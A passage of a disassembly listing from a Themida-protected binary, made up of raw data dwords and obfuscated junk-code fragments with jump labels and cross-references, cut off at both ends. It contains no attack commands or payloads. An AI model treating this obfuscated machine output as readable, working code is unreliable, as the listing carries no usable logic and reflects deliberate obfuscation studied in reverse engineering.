4A2DA434h, 0FFFD52E9h, 0C68158FFh dd 4, 2474FF56h, 48F5E04h, 4015C24h, 52E99C24h, 45FFFF84h dd 0F908F581h, 0EA01913Dh, 0EFC2815Dh, 2D5A2BDEh, 71A217A6h dd 0FFB97EE9h, 61E958FFh, 1FFFFE9h, 242C8BEBh, 4EC8351h dd 0E9242489h, 0FFFF64D5h ; --------------------------------------------------------------------------- loc_54ECC8: ; CODE XREF: Themida_:00543989j mov edx, 6C445044h shl edx, 8 shl edx, 7 jmp loc_5492F1 ; --------------------------------------------------------------------------- dd 15EF501h, 148B5DEEh, 0E0895024h, 405h, 40500h, 4870000h dd 34875C24h, 24248B24h, 9C240408h, 0FF4464E9h, 0E9D301FFh dd 0FFFFC35Eh, 836A30BEh, 1BF6812Fh, 8168A76Eh, 8D6868CEh dd 54CE8125h, 814AC51Ah, 0ED7E7BEEh, 8B27E96Fh, 9668FFFFh dd 0E9000016h, 0FFFF975Ah, 2434875Ch, 0FF9B80E9h, 0B85057FFh dd 3590716h, 0FFC63CE9h, 4B12B8FFh, 86E9A47Eh, 0B0FFFF62h dd 66C328C2h, 9DE95A58h, 81FFFFBCh, 4C2h, 4C28100h, 0E9000000h dd 0FFFFE408h, 56F7C581h, 0C5291E95h, 56F7ED81h, 9581E95h dd 34FF1C6Fh, 242C8B24h, 0FFD178E9h, 0E9D028FFh, 0FFFF7799h dd 0E924148Bh, 0FFFFC9F0h, 24048F59h, 0C87D1F7h, 6BE95924h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDAB: ; CODE XREF: Themida_:00547935j add esi, 4DF2A04Ch jmp loc_5435B3 ; --------------------------------------------------------------------------- dw 0C889h dd 0DD0F759h, 0B263FBCh, 0FF4DFDE9h, 0A36859FFh, 8900002Ah dd 0E6892434h, 4BF57h, 7EE90000h, 0BAFFFFA1h, 6BD2990h dd 35E6E281h, 8CE930A3h, 87FFFFE8h, 815B240Ch, 2803BDEBh dd 8BDD29D8h, 0C481241Ch, 4, 0E9h, 242C8700h, 0E924248Bh dd 0FFFF9B82h, 0C1815954h, 4, 560968h, 57CAE900h, 0C183FFFFh dd 74FF5104h, 8F590424h, 248B2404h, 4894E924h, 3489FFFFh dd 4BE24h, 74010000h, 348B0424h, 4C48324h, 0FFBF14E9h dd 240489FFh, 0FF560CE9h, 835B66FFh, 0C8904ECh, 0E6B6E924h dd 159FFFFh, 4812404h, 0B7162724h, 2404813Ah, 4E470B50h dd 0FFE157E9h, 4C181FFh, 0E9000000h, 0FFFFA225h ; --------------------------------------------------------------------------- loc_54EE84: ; CODE XREF: Themida_:00543327j pop esp jmp loc_54D1C1 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 458E9h, 4EC8100h, 0E9000000h, 0FFFF6DE0h ; --------------------------------------------------------------------------- loc_54EEA0: ; CODE XREF: Themida_:0054B627j xor edi, 0FF7E76FDh and eax, edi mov edi, [esp] add esp, 4 shr eax, 10h xor eax, ecx push 5701h mov [esp], edx push esp pop edx push esi mov esi, 3448069Bh inc esi xor esi, 34480698h add edx, esi pop esi jmp loc_546EA3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 65F8E924h, 0E95AFFFFh, 0FFFFF0E8h, 4748C381h, 0EB81348Bh dd 3DBC2A1Fh, 78F38143h, 522DCE19h, 7DBE5653h, 3131793Ah dd 0E9042474h, 0FFFFB942h, 769EC781h, 0EFC17126h, 0E1C78104h dd 1F70BBBh, 0C335FF9h, 240C3124h, 8B240C33h, 0F662424h dd 5166C8AFh, 4233E99Ch, 0EF88FFFFh, 1C8BF888h, 4C48324h dd 0C2885259h, 0FF5AD188h, 2FE92434h, 5CFFFF45h, 5485EE81h dd 6BE932CCh, 33FFFFEEh, 248B2434h, 9AA4E924h, 0D821FFFFh dd 7037E95Bh, 0BB6FFFFh, 0F6AEF680h, 0C2EE80DEh, 0E94DE680h dd 0FFFFB109h ; --------------------------------------------------------------------------- loc_54EF7C: ; CODE XREF: Themida_:0054B740j sub ebp, 4BD95652h xor ebp, 154028D1h sub ebp, 0CCF49A98h xor eax, ebp pop ebp sub edx, 57596420h sub edx, eax jmp loc_549A26 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 0FF9943E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EFA9: ; CODE XREF: Themida_:005486D3j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push 7517h mov [esp], ebp mov ebp, 22CC6A57h add ebp, 1 sub ebp, 0FFFFFFFFh neg ebp dec ebp sub ebp, 0DD3375A6h and eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ecx mov ecx, esp push ebx mov ebx, 5B4D7A33h push eax mov eax, 78114CF3h xor ebx, eax pop eax jmp loc_5434DC ; --------------------------------------------------------------------------- dw 0BBh dd 8153EF43h, 0C349A3E3h, 0FEDEE979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F006: ; CODE XREF: Themida_:0054427Aj mov [esp], eax jmp loc_543EC2 ; --------------------------------------------------------------------------- loc_54F00E: ; CODE XREF: Themida_:005440ABj xchg edi, [esp] pop esp loc_54F012: ; CODE XREF: Themida_:loc_54DDB0j ; Themida_:0054DF87j sub esp, 4 mov [esp], eax jmp loc_5448BE ; --------------------------------------------------------------------------- dd 505EF101h, 4B8h, 58C10100h, 5C240C87h, 50525356h, 5124148Bh dd 0C1815954h, 4, 0E904C183h, 0FFFFEADBh ; --------------------------------------------------------------------------- loc_54F048: ; CODE XREF: Themida_:0054BBC4j mov edi, esp push ebp push ecx mov ecx, 3E56C18h mov ebp, ecx pop ecx inc ebp sub ebp, 0C0203770h neg ebp jmp loc_54CFC3 ; --------------------------------------------------------------------------- loc_54F062: ; CODE XREF: Themida_:00544855j add esp, 4 jmp loc_54A13B ; --------------------------------------------------------------------------- loc_54F06A: ; CODE XREF: Themida_:0054AE92j pop dword ptr [esp] pop esp jmp loc_54380A ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 0EEE9E389h, 87FFFF50h, 895C240Ch, 0CFE92414h dd 89FFFFADh, 52512404h, 660BCF68h, 0EAC15A33h, 0E9D2F707h dd 0FFFFF3D9h ; --------------------------------------------------------------------------- loc_54F0A4: ; CODE XREF: Themida_:00547DA1j push ebp jmp loc_54F408 ; --------------------------------------------------------------------------- loc_54F0AA: ; CODE XREF: Themida_:00547015j push ebx push dword ptr [esp+4] jmp loc_549F83 ; --------------------------------------------------------------------------- dd 4C481h, 0BF570000h, 35CC5E47h, 7BFBC381h, 42E96EB3h dd 29FFFF6Dh, 71E95BD8h, 80FFFF99h, 0F030A0F6h, 5A2434FFh dd 3004C483h, 0C0B60FC3h, 0FFFA4EE9h, 7DB252FFh, 71E9EAD0h dd 64FFFFC7h, 2B60F66h, 0FD12E951h, 0C87FFFFh, 4875C24h dd 24248B24h, 0BE9F9F7h, 5EFFFF4Eh, 0FF861AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F115: ; CODE XREF: Themida_:00547F53j push 308Bh mov [esp], ebp push esi push 34B925F0h push dword ptr [esp] jmp loc_5431C5 ; --------------------------------------------------------------------------- db 83h dd 0F4E902C4h, 81FFFFC3h, 4C4h, 0AAB45000h, 80FFC480h dd 0E12071F4h, 3E1C058h, 308EF180h, 240C8BC8h, 4C481h dd 52660000h, 0D3E95350h, 53FFFF8Eh, 0FFC776E9h, 0C6C581FFh dd 89F92851h, 0EC815DE8h, 4, 0FF87CDE9h, 0C8B66FFh, 5CFB6824h dd 2C890000h, 68E58924h, 73D8h, 0E9241C89h, 0FFFFFADDh dd 40558h, 89500000h, 405E0h, 42D0000h, 0E9000000h, 0FFFFC36Fh dd 1686653h, 0E95B6635h, 0FFFFD762h, 42474FFh, 5558E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F1C2: ; CODE XREF: Themida_:00545D2Fj add esi, 4 jmp loc_54CC58 ; --------------------------------------------------------------------------- dw 0C3FEh dd 80D4F380h, 5FE9D6C3h, 89FFFFF3h, 0FCB5240Ch, 86E95366h dd 81FFFFE6h, 0A4440DF3h, 5BDF013Ch, 5024348Bh, 405E089h dd 83000000h, 43304C0h, 24043124h, 0FFED5FE9h, 2434FFFFh dd 4C4815Fh, 0E9000000h, 0FFFFF427h, 0E9243489h, 0FFFFD686h dd 555EF589h, 0E92414F7h, 0FFFFA7F2h, 6CC4E955h, 0E951FFFFh dd 0FFFF53F9h ; --------------------------------------------------------------------------- loc_54F234: ; CODE XREF: Themida_:00546B92j mov eax, 1BCC1E7Dh dec eax push eax xor [esp], ebx jmp loc_547D56 ; --------------------------------------------------------------------------- db 66h dd 5724048Bh, 0C7815F54h, 4, 4BE56h, 0EF810000h, 70E67CCAh dd 0BB53F729h, 3083798Dh, 1B0BE381h, 0F3814E44h, 4C4221CEh dd 4FF1E94Bh, 0BF57FFFFh, 30D2395Ah, 16CF814Fh, 815D657Dh dd 243818E7h, 0DDBA5207h, 31CA691Dh, 0F8315AD7h, 0FFC7A4E9h dd 36EB81FFh, 9ABCF74h, 0EAC15BDAh, 0B1CA8105h, 8140116Ch dd 7ED0F2F2h, 5AD02930h, 8BE9C801h, 1FFFF99h, 0C78358C7h dd 243C3302h, 33243C31h, 0E95C243Ch, 0FFFFC5F6h, 794868h dd 66CFE900h, 0E981FFFFh, 6D485418h, 0FFC8215Dh, 56592434h dd 0FF8798E9h, 2434FFFFh, 0FF543BE9h, 7E9C1FFh, 0E908E1C1h dd 0FFFFB2CAh, 0E9E18951h, 0FFFFFB71h, 4EC81h, 4890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_546472 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0Ah dd 981826Dh, 5A7DE9D7h, 5E59FFFFh, 203FA01h, 0E389535Ah dd 29F068h, 240C8900h, 6B4AE2B9h, 0E1C1494Bh, 0F7E9D102h dd 39F181D1h, 1E9296Ah, 59E959CBh db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F363: ; CODE XREF: Themida_:00548EB6j push eax mov eax, 4D543D62h add ecx, eax mov eax, [esp] add esp, 4 xor ecx, 5053F97h not ecx xor ecx, 6960B9E5h and eax, ecx pop ecx or eax, eax jmp loc_54E3D3 ; --------------------------------------------------------------------------- dd 4BFh, 246C8100h, 0E598C04h, 43CEE90Bh, 1489FFFFh, 0F81FE924h dd 1489FFFFh, 9D15E924h, 0C181FFFFh, 53F9026Eh, 80E9E929h dd 81FFFF7Fh, 0CFCDC1F2h, 72C681A1h, 0E974B856h, 0FFFF8062h dd 4BF57h, 0F9010000h, 74FF515Fh, 8F590424h, 505C2404h dd 406C5A68h, 24048B62h, 2904C483h, 8B042444h, 0C4832404h dd 242C8104h, 352D6439h, 50242C81h, 0E94E470Bh, 0FFFFB466h ; --------------------------------------------------------------------------- loc_54F408: ; CODE XREF: Themida_:0054F0A5j mov ebp, 5D615E86h add ebp, 5A8FF5Eh jmp loc_54C390 ; --------------------------------------------------------------------------- dd 4C481h, 0EC830000h, 241C8904h, 54732CBBh, 0D86DE970h dd 34FFFFFFh, 35E95E24h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F437: ; CODE XREF: Themida_:005431EBj mov [esp], eax mov eax, 4 add edi, 5BCA00CBh add edi, eax jmp loc_548BD3 ; --------------------------------------------------------------------------- loc_54F44C: ; CODE XREF: Themida_:00548831j sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, 490C786Ah push ebx mov ebx, 26381147h or edx, ebx pop ebx not edx and edx, 6FEB52C6h jmp loc_5499EB ; --------------------------------------------------------------------------- loc_54F473: ; CODE XREF: Themida_:0054DC46j xor ecx, 4A0E40DBh push edi mov edi, 0FDB9D16h add ecx, edi pop edi sub edi, 27CC5B0Fh add edi, ecx jmp loc_548E84 ; --------------------------------------------------------------------------- loc_54F48F: ; CODE XREF: Themida_:0054E89Fj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_548753 ; --------------------------------------------------------------------------- loc_54F4BA: ; CODE XREF: Themida_:00549011j sub esp, 4 jmp loc_54B85C ; --------------------------------------------------------------------------- db 88h, 0FEh, 0E9h dd 0FFFF9F20h, 0E959CA31h, 0FFFFDBE4h, 81240C8Bh, 4C4h dd 865AE900h, 0B968FFFFh, 89000009h, 74E9243Ch, 7EFFFF90h dd 0DD0053D6h, 0A5009F69h, 0FA4CB3h, 0CE000000h, 0E152362h dd 4005A13h, 37FFE03h, 2000002h, 2 dup(1000000h), 0A5000000h dd 0FA4CB3h, 4 dup(0) dd 5C000000h, 75005574h, 72005518h, 87005527h, 0AD0055A2h dd 6F00552Ah, 82005502h, 1B00554Ah, 600563Ah, 0AC005574h dd 4005577h, 11005648h, 5400557Dh, 93005612h, 880055F8h dd 0B50055EAh, 1C0055CCh, 90055D7h, 0CE0055EBh, 4F0055B9h dd 1F00564Bh, 22005564h, 0A005514h, 0A6005645h, 6600553Ah dd 590055A6h, 6F005590h, 4A005608h, 5F005644h, 440055CCh dd 0F5005641h, 74005646h, 7B00561Fh, 0AA0055BBh, 9B005507h dd 8F005590h, 6F005555h, 8E005567h, 0D8005542h, 0A0005604h dd 9F00556Eh, 0C2005535h, 900054FDh, 9500552Fh, 4D005633h dd 0F1005634h, 600556Bh, 6D00556Fh, 0E2005591h, 84005643h dd 0F00556Eh, 0C800550Fh, 0E4005625h, 5A00552Eh, 5A00561Eh dd 8400557Dh, 0FD0055E3h, 24005601h, 0DD00553Ah, 2F005559h dd 0F00055B5h, 0CD00552Ah, 0A4005551h, 0C00055BBh, 0C20055CEh dd 0EF0055C4h, 9C005541h, 4200561Fh, 0B4005540h, 0CC005530h dd 55005502h, 1F005584h, 0CB005614h, 31005536h, 940055A6h dd 8E005503h, 3C005551h, 41005580h, 0E300562Ah, 0A60055E0h dd 40005586h, 220055EEh, 710054FCh, 0E60055D4h, 2800559Eh dd 0D1005621h, 28005629h, 0E400550Bh, 63005626h, 0BE00561Eh dd 80005646h, 5B005598h, 0DF005640h, 4700554Eh, 0A9005515h dd 1B0055D8h, 7E00555Eh, 7E005542h, 0F200559Ch, 890055B8h dd 6F00561Fh, 3600559Fh, 0AA005569h, 5300557Fh, 690055EEh dd 0AB005500h, 0F50055BCh, 2900558Bh, 2200562Ch, 0C8005573h dd 9E005513h, 7C005592h, 0AC005610h, 67005635h, 0E4005539h dd 7800563Fh, 2005571h, 0A300553Ah, 4B005604h, 0FC00563Ah dd 0C4005575h, 36005526h, 17005645h, 9A005580h, 41005598h dd 560055B4h, 88005557h, 0AA0055DFh, 3100559Ch, 550055E9h dd 3E005636h, 0C0005560h, 6C00561Bh, 16005641h, 7F0055E6h dd 6B0055DFh, 5C005580h, 7900562Eh, 600551Bh, 16005536h dd 5E00552Dh, 8500561Dh, 460055C9h, 0B100561Dh, 4E005518h dd 5900556Dh, 9C005536h, 6B005515h, 6B005647h, 0F50055E8h dd 0AA00550Ch, 100055E1h, 54005550h, 0C4005618h, 0E005641h dd 12005558h, 0F1005593h, 0EE0055A3h, 2B0055FAh, 0AA00557Ah dd 0CF00557Eh, 0EF00552Eh, 87005566h, 2D005621h, 0EC005579h dd 62005643h, 59005626h db 63h, 55h, 0 ; --------------------------------------------------------------------------- loc_54F7CF: ; CODE XREF: Themida_:005947B6j pusha pushf cld call $+5 pop edi sub edi, 6084432h mov eax, edi add edi, 608414Ah cmp eax, [edi+2Ch] jnz short loc_54F7ED jmp short loc_54F800 ; --------------------------------------------------------------------------- loc_54F7ED: ; CODE XREF: Themida_:0054F7E9j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54F7FC ; --------------------------------------------------------------------------- loc_54F7F7: ; CODE XREF: Themida_:0054F7FEj add [edi+ecx*4+40h], eax dec ecx loc_54F7FC: ; CODE XREF: Themida_:0054F7F5j or ecx, ecx jnz short loc_54F7F7 loc_54F800: ; CODE XREF: Themida_:0054F7EBj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54F80D: ; CODE XREF: Themida_:0054F814j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54F80D loc_54F816: ; CODE XREF: Themida_:00552D6Ej ; Themida_:005546B0j ... lodsb xor al, bl push bx push edx jmp loc_55531F ; --------------------------------------------------------------------------- loc_54F821: ; CODE XREF: Themida_:005579D5j push dword ptr [esp+4] mov edx, [esp] jmp loc_564975 ; --------------------------------------------------------------------------- db 4Dh, 0F7h, 0D5h dd 0A661E9h, 52BBA00h, 0C2812E29h, 2F7608DAh, 5F00EA81h dd 814213CEh, 31B321F2h, 5AD7293Ah, 0D2E9CF01h, 81000103h dd 4C2h, 1A50E900h, 0B5510001h, 14C2E966h, 0C870000h, 1255E924h dd 0E3C10001h, 0AEB4E907h, 4050000h, 52000000h, 4BAh, 5AD00100h dd 8B240487h, 0BA522424h, 551D0BFAh, 0C9F2814Ah, 0E9539428h dd 43B8h, 8904EC83h, 0E951241Ch, 2729h, 9BEA814Ah, 0E93ABC7Ch dd 0D0D3h ; --------------------------------------------------------------------------- loc_54F8B8: ; CODE XREF: Themida_:00557B8Dj mov esi, 2833275Eh and esi, 37992BE5h not esi not esi xor esi, 6E773660h add esi, 162A27h jmp loc_5569BA ; --------------------------------------------------------------------------- loc_54F8D8: ; CODE XREF: Themida_:00562CAEj push 7D13h mov [esp], eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_55FF22 ; --------------------------------------------------------------------------- loc_54F8FD: ; CODE XREF: Themida_:00557C64j xor dh, 46h sub bl, dh pop edx jmp loc_55B3D7 ; --------------------------------------------------------------------------- dd 30641205h, 0E9D0295Bh, 7640h, 2C2EA81h, 0DAF75CDEh dd 9CBFEA81h, 0D1317A07h, 5624148Bh, 0C681E689h, 4, 4C681h dd 34330000h, 24343124h, 5C243433h, 4244481h, 2D706EAh dd 4244C01h, 4246C81h, 2D706EAh, 0FEBCE959h, 0BF57FFFFh dd 6C4111D4h, 0E781D7F7h, 4B4F4516h, 74DBF781h, 0FA295995h dd 83243C8Bh, 99E904C4h, 87000031h, 895C2434h, 0E9522404h dd 380Eh, 242C8B5Fh, 4C481h, 5AE90000h, 0BA0000C1h, 1AE23A9Ah dd 118C4E9h, 59CD8900h, 81243C8Bh, 4C4h, 0BA525800h, 0CE079C5Ah dd 15AD501h, 242C8BEBh, 8904EC83h, 0E389241Ch, 1880E9h db 0 ; --------------------------------------------------------------------------- loc_54F9C9: ; CODE XREF: Themida_:00551EA1j sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_555C2D ; --------------------------------------------------------------------------- dw 0D5B9h dd 897F7264h, 240C8BC8h, 4C481h, 0C2290000h, 8124048Bh dd 4C4h, 97BD5500h, 8164621Ah, 7F4D2AEDh, 27CD816Bh, 45290347h dd 7CA7F581h, 0C5813110h, 0B4407BFCh, 0B482E9h, 0E9525B00h dd 13A05h ; --------------------------------------------------------------------------- loc_54FA28: ; CODE XREF: Themida_:00550047j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp push 44D906A6h pop ebp sub esp, 4 mov [esp], ecx mov ecx, 7256C24h or ecx, 45F4622Fh add ecx, 0FFFFFFFFh shl ecx, 1 sub ecx, 7C93AD63h add ebp, ecx jmp loc_55C58B ; --------------------------------------------------------------------------- db 81h dd 1609F0C2h, 0ABC28119h, 8992123Ah, 4124E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FA76: ; CODE XREF: Themida_:005590EEj mov ecx, 69FA0554h sub esp, 4 mov [esp], ebp mov ebp, 6BE2176Dh neg ebp add ebp, 71E76A0Bh inc ebp shl ebp, 6 xor ebp, 97DFB43Ah jmp loc_550AD6 ; --------------------------------------------------------------------------- dd 8704C183h, 835C240Ch, 0E7E904C6h, 590000E8h, 87C3E9h db 0 ; --------------------------------------------------------------------------- loc_54FAB5: ; CODE XREF: Themida_:00564224j xchg ecx, [esp] not ecx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop eax jmp loc_5613D8 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FE24248Bh, 0E99C2404h, 0FFFFFD3Eh, 81242489h, 42404h dd 48F0000h, 24048324h, 17E95D04h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FAEF: ; CODE XREF: Themida_:00562CE2j push edx mov edx, 16D5AAFh sub eax, 5EEF7436h add eax, edx add eax, 5EEF7436h pop edx pop edi mov ebp, eax pop eax add eax, ebp mov ebp, [esp] add esp, 4 push edi mov edi, 45880D0Eh push ebp mov ebp, 1A8071A1h or ebp, 148F525Dh dec ebp and ebp, 2A17206Bh shl ebp, 4 xor ebp, 0A5E81454h and edi, ebp jmp loc_559356 ; --------------------------------------------------------------------------- loc_54FB37: ; CODE XREF: Themida_:00552C23j mov edi, 1C4C7023h neg edi not edi add edi, 16492D81h jmp loc_564655 ; --------------------------------------------------------------------------- db 5 dd 23506282h, 5540D0F7h, 0E4045EBDh, 45DDF758h, 8106E5C1h dd 0C27286C5h, 51F58133h, 81412775h, 0E733D9F5h, 5DE829E5h dd 5558C529h, 42474FFh, 4F9FE9h, 0E932B200h, 0CCABh, 0AB172268h dd 0E981591Bh, 0B286D685h, 0BCCDE9h, 24048F00h, 4C4815Ch dd 83000000h, 62E904C7h db 52h, 1, 0 ; --------------------------------------------------------------------------- loc_54FBAB: ; CODE XREF: Themida_:005536F9j pop dword ptr [esp] jmp loc_55DE42 ; --------------------------------------------------------------------------- db 89h dd 0C78159CFh, 477B077Ch, 1FEE953h db 1, 0 ; --------------------------------------------------------------------------- loc_54FBC2: ; CODE XREF: Themida_:005509E2j pop eax shr esi, 6 jmp loc_55B01D ; --------------------------------------------------------------------------- db 81h dd 4C2h, 2C28300h, 5C241487h, 662868h, 9438E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FBE2: ; CODE XREF: Themida_:00559C03j mov ebp, [esp] add esp, 4 jmp loc_55BF9C ; --------------------------------------------------------------------------- aHsd db '',7,';hd',1Bh,0 dw 5F00h dd 125FEE9h, 242C8B00h, 4C481h, 8C680000h, 8900005Fh, 6BE92404h dd 59000127h, 0D6E95457h db 26h, 1, 0 ; --------------------------------------------------------------------------- loc_54FC1B: ; CODE XREF: Themida_:0055C39Aj mov ah, 4Bh jmp loc_5643F7 ; --------------------------------------------------------------------------- dw 53ADh dd 0F853E9h, 4EC8300h, 24048F54h, 4BE56h, 88E90000h, 560000C3h dd 6149B368h, 21055E19h, 0E916185Bh, 1F26h ; --------------------------------------------------------------------------- loc_54FC4C: ; CODE XREF: Themida_:0055DE7Fj add edi, esi push dword ptr [esp] pop esi add esp, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] shr eax, 18h xor eax, ecx push eax sub esp, 4 mov [esp], esi mov eax, [esp] push ebx mov ebx, esp push ecx mov ecx, 4 add ebx, 159725AEh add ebx, ecx jmp loc_560C9A ; --------------------------------------------------------------------------- loc_54FC8C: ; CODE XREF: Themida_:005618B5j xor al, cl mov ecx, [esp] add esp, 4 push small 75BAh mov [esp], bx jmp loc_551F39 ; --------------------------------------------------------------------------- aFZhg db 'f',9,'Zh`',0 align 2 dw 3489h dd 0EFBE6624h, 0F681664Ch, 316662A3h, 29665EF3h, 0E9565BD8h dd 0F434h, 0E9240C89h, 0DDE5h, 0B3E9E589h, 31000011h, 46E9243Ch dd 28000001h, 8EC580D5h, 1C5805Ah, 0AD8E953h, 7D350000h dd 29250D2Ch, 0F30158C6h, 4C3835Eh, 0E9241C87h, 1013Ch ; --------------------------------------------------------------------------- loc_54FD00: ; CODE XREF: Themida_:005637E1j mov esp, [esp] xor edx, edx push 3DB5h jmp loc_55A126 ; --------------------------------------------------------------------------- loc_54FD0F: ; CODE XREF: Themida_:00550ED6j mov esp, [esp] and eax, ecx mov ecx, [esp] jmp loc_550851 ; --------------------------------------------------------------------------- dd 815AD331h, 591239EBh, 0BA17E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push ebp mov ebp, 4 add edx, ebp pop ebp add edx, 4 xor edx, [esp] jmp loc_552C0C ; --------------------------------------------------------------------------- dd 0CCF4E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FD62: ; CODE XREF: Themida_:00561AE8j add edx, esi pop esi sub edx, 27504DE4h add edx, edi add edx, 27504DE4h push ebx mov ebx, 20806F2Bh add edx, 6385666Ah sub edx, ebx sub edx, 6385666Ah pop ebx mov [edx], al mov edx, [esp] push 4B52h jmp loc_55C087 ; --------------------------------------------------------------------------- db 33h dd 14312414h, 24143324h, 6624248Bh, 0E9240489h, 0FFFFFA6Ah ; --------------------------------------------------------------------------- loc_54FDAC: ; CODE XREF: Themida_:0055DA4Bj not edx jmp loc_5615A2 ; --------------------------------------------------------------------------- loc_54FDB3: ; CODE XREF: Themida_:00557C38j mov esi, 5D517A99h mov ebp, 0A2AE856Bh jmp loc_56196B ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 20B4E959h, 0FE010000h, 1DE6C681h, 0E95F432Eh dd 33D2h ; --------------------------------------------------------------------------- loc_54FDDC: ; CODE XREF: Themida_:0055C7B3j push ecx mov ecx, 42866998h inc ecx and ecx, 1FF671D7h neg ecx add ecx, 50283B2h sub eax, ecx pop ecx sub edi, 5CC21432h sub edi, 5F446748h add edi, eax add edi, 5F446748h add edi, 5CC21432h push dword ptr [esp] pop eax add esp, 4 xchg edi, [esp] pop esp push dword ptr [esp] jmp loc_55C767 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 6624248Bh, 66C8B60Fh, 6641C768h, 0E9240C89h, 0FFFFF9DEh dd 0BF57E589h, 4, 4E41ED81h, 0FD014D6Bh, 4E41C581h, 505F4D6Bh dd 0C823E9h, 0EBC15B00h, 0E9D3F706h, 0EA7Ah, 8704C383h dd 565C241Ch, 13F34E9h db 0 ; --------------------------------------------------------------------------- loc_54FE6D: ; CODE XREF: Themida_:005606F6j xchg ebx, edx not ebx xchg ebx, edx jmp loc_55D1DA ; --------------------------------------------------------------------------- dd 36042EB6h, 2BA0E9h, 7775BA00h, 0EA8125BBh, 25BB7771h dd 0A09CE9h, 5EF03100h, 8158C789h, 968F8F7h, 86BE564Dh dd 0E97F7061h, 103CFh, 555EF331h, 0EF89DD89h, 2434FF5Dh dd 4C4815Bh, 0E9000000h, 95DAh, 2E0C140h, 7DE2BB53h, 49E9D3FAh dd 5F000122h, 6F66EA81h, 0BFE926EBh, 29000076h, 0AFEA81C2h dd 5828677Fh, 0E95AD389h, 95Ah, 2C481h, 88E90000h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FEF7: ; CODE XREF: Themida_:00550AEEj pop esi sub eax, ecx add eax, 33BA704Eh pop ecx push ebx mov ebx, 0D385721h jmp loc_5539CB ; --------------------------------------------------------------------------- loc_54FF0B: ; CODE XREF: Themida_:0055E4F6j mov eax, 562346FBh shl eax, 1 shl eax, 2 and eax, 7F086B8Fh add eax, 0D74D3126h sub ebp, eax pop eax jmp loc_55E407 ; --------------------------------------------------------------------------- db 87h dd 0D6F72434h, 0E9243487h, 0D58Dh, 805CE780h, 17E918EFh db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FF3F: ; CODE XREF: Themida_:0055E552j sub esi, 61640DB0h jmp loc_555B0E ; --------------------------------------------------------------------------- dw 0C483h dd 4EC8104h, 89000000h, 70E92404h, 6600012Eh, 6671E268h dd 0E9240C89h, 7404h, 0B8240489h, 4, 34FFC201h, 24048B24h dd 8104C483h, 4C4h, 6F7AE900h, 0E9810000h, 0A6EDBA3h, 0E959CF31h dd 8C9Fh ; --------------------------------------------------------------------------- loc_54FF94: ; CODE XREF: Themida_:00562BE2j inc ebp jmp loc_563511 ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFFFC9Bh ; --------------------------------------------------------------------------- loc_54FFA0: ; CODE XREF: Themida_:00554AF1j or edx, ebx pop ebx inc edx sub edx, 6FDF13B3h add eax, edx pop edx push ebx mov ebx, 4 add eax, 10DD4535h add eax, ebx jmp loc_5593ED ; --------------------------------------------------------------------------- db 1 dd 0E1815BD9h, 72A65A27h, 0E981D1F7h, 8185EF5h, 0E0E98141h dd 89987496h, 240C8BCAh, 7103E9h, 0C085B200h, 0CAFE04EAh dd 0B3E9C2FEh, 500009Ch, 47D17DF9h, 0C4D7035h, 819DE9CFh dd 0E0890000h, 405h, 40500h, 4870000h, 1C335C24h, 241C3124h dd 8B241C33h, 0EBE92424h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55001F: ; CODE XREF: Themida_:005608B9j add esi, 4 sub esi, 4 push esi jmp loc_551559 ; --------------------------------------------------------------------------- loc_550031: ; CODE XREF: Themida_:00564634j pop esp mov [esp], edx push ecx sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_54FA28 ; --------------------------------------------------------------------------- loc_55004C: ; CODE XREF: Themida_:005561AFj mov [esp], edi mov edi, esp sub esp, 4 mov [esp], ebx jmp loc_55998A ; --------------------------------------------------------------------------- loc_55005C: ; CODE XREF: Themida_:0055DEFFj shl esi, 2 neg esi shl esi, 3 jmp loc_55338D ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C241Ch, 